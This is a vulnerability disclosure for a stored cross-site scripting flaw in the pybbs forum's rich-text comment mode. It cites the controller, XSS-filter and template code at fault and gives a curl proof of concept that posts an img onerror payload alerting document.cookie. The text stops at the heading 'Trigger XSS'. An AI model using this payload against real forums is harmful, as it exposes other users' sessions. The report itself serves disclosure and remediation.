NeverStopExploiting用户9473
Stored XSS in pybbs RICH Comment in pybbs
输入“/”快速插入内容
Stored XSS in pybbs RICH Comment in pybbs
Stored XSS in pybbs RICH Comment in pybbs
用户9473用户94733月6日修改
BUG_Author: Chengxin Xu
Affected Version: pybbs (pybbs-master)
Vulnerability Files:
•
src/main/resources/templates/theme/default/components/topic_comments.ftl
•
src/main/java/co/yiiu/pybbs/controller/api/CommentApiController.java
•
src/main/java/co/yiiu/pybbs/interceptor/XssAspect.java
Description
pybbs application contains a stored XSS vulnerability in the RICH content mode for comments. When the system is configured to use RICH (rich text) mode instead of Markdown mode, user-submitted HTML content is stored directly in the database and rendered without sanitization on the frontend, allowing authenticated attackers to inject malicious JavaScript code that executes when other users view the comment.
Stored XSS via RICH Mode Comment Content (/api/comment)
The vulnerability exists in the comment creation and display flow when content_style is set to RICH. The XssAspect filter explicitly bypasses sanitization for comment endpoints, and the frontend template directly outputs raw HTML content.
Entry Point (CommentApiController.java:36-58):
代码块
@PostMapping
@ResponseBody
public Result create(@RequestBody Map<String, String> body) {
User user = getApiUser();
Integer topicId = Integer.parseInt(body.get("topicId"));
String content = body.get("content"); // User-controlled HTML input
Comment comment = commentService.insert(topicId, content, user);
// Content stored directly without HTML sanitization
return success(comment);
}
XSS Filter Bypass (XssAspect.java:142-146):
代码块
private Map<String, String> sanitizeMapForMarkdown(Map<String, String> map) {
// Markdown endpoints return raw map without sanitization
return map;
}
Vulnerable Template Rendering (topic_comments.ftl:51-55):
代码块
<#if comment.style == 'MD'>
${model.formatContent(comment.content)}
<#elseif comment.style == 'RICH'>
${comment.content!} <!-- Raw HTML output without escaping -->
</#if>
Proof of Concept
Prerequisites
•
Authenticated user account
•
System configured with content_style=RICH (can be set in admin panel at /admin/system/edit)
Exploit XSS via RICH Comment Creation
代码块
curl -X POST http://localhost:8080/api/comment \
-H "Content-Type: application/json" \
-H "token: <your-token>" \
-d '{
"topicId": "6",
"content": "<img src=x onerror=alert(document.cookie)>"
}'
Trigger XSS